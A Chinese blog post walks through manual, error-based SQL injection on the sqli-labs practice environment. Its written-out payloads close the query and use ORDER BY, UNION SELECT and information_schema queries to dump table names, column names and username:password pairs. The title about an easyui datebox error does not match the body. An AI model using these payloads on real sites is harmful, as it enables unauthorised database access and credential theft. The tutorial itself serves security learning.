easyui datebox 获取值报错_浅谈基于报错的手工注入

浅谈基于报错的手工注入

实验环境:sqlli

1.首先提示,请输入ID作为参数和数值

90e7dd359c8a3494428c435bc0c05807.png

2.构建id参数后,返回正常

adf7ff0b4f3d21690babf75643904641.png

3.输入转义符 \ ,得到报错信息  "1\") LIMIT 0,1   (图片上引号内的为报错信息,所以这里去掉两个引号)

8220f1426afd61429694de3f02b8b9a2.png

由此,我们可以得到大概的SQL语句为尝试闭合单引号,并注释之后的内容,输入1") --+ 

a841848b04f3a965c156e0ed3d1ec6fb.png

可以看到返回正常页面

4.在闭合后,输入order by 5 判断有几个字段,判断成功则会返回正常页面

bdbed114cb765cbd73cde9f997b62e06.png

5个字段报错,输入4,输入3 尝试

0f931e334880d0096fbf5869fe8ef94f.png

再输入order by 3 的时候,页面返回正常,说明有有三个字段

78a8d63db2ee751a8260f37b5d29346f.png

5.接下来使用union联合查询,查看哪些位置可以利用

首先将参数报错,id改为-1

其次构建语句 union select 1,2,3 (之前检测出3个字段)

d9dd32cd934cdc550291c5d20c20faad.png

返回2,3 说明2和3可以返回我们想要的值。

把2替换为database() 查看当前数据库,显示成功

2f5dbdf425ee313fb20a607448e054cf.png

6.接下来爆数据

首先是查找表名

输入 

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+ 

链接表,显示表名,从mysql数据库总表中,筛选条件 表名等于当前数据库名

显示出当前数据库中的所有表

f3c232fc2eda414ff4d13a56521e876f.png

我们继续读取users表中的信息

输入 

 union select 1,group_concat(column_name),3 from  information_schema.columns where table_name='users' --+

链接表,显示字段名 ,从mysql总表中,赛选出表名等于 users 的数据

9a8387b4df3ba868dc017c6b146053d0.png

接下来获取字段值,username和password的值

输入

union select 1,group_concat(username,0x3a,passowrd),3 from users --+

链接表 从用户表中读取数据,显示用户名密码用冒号进行分割

2cd477a10b6de1a08d37705863e934e6.png

最后就得到了我们想要的信息。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值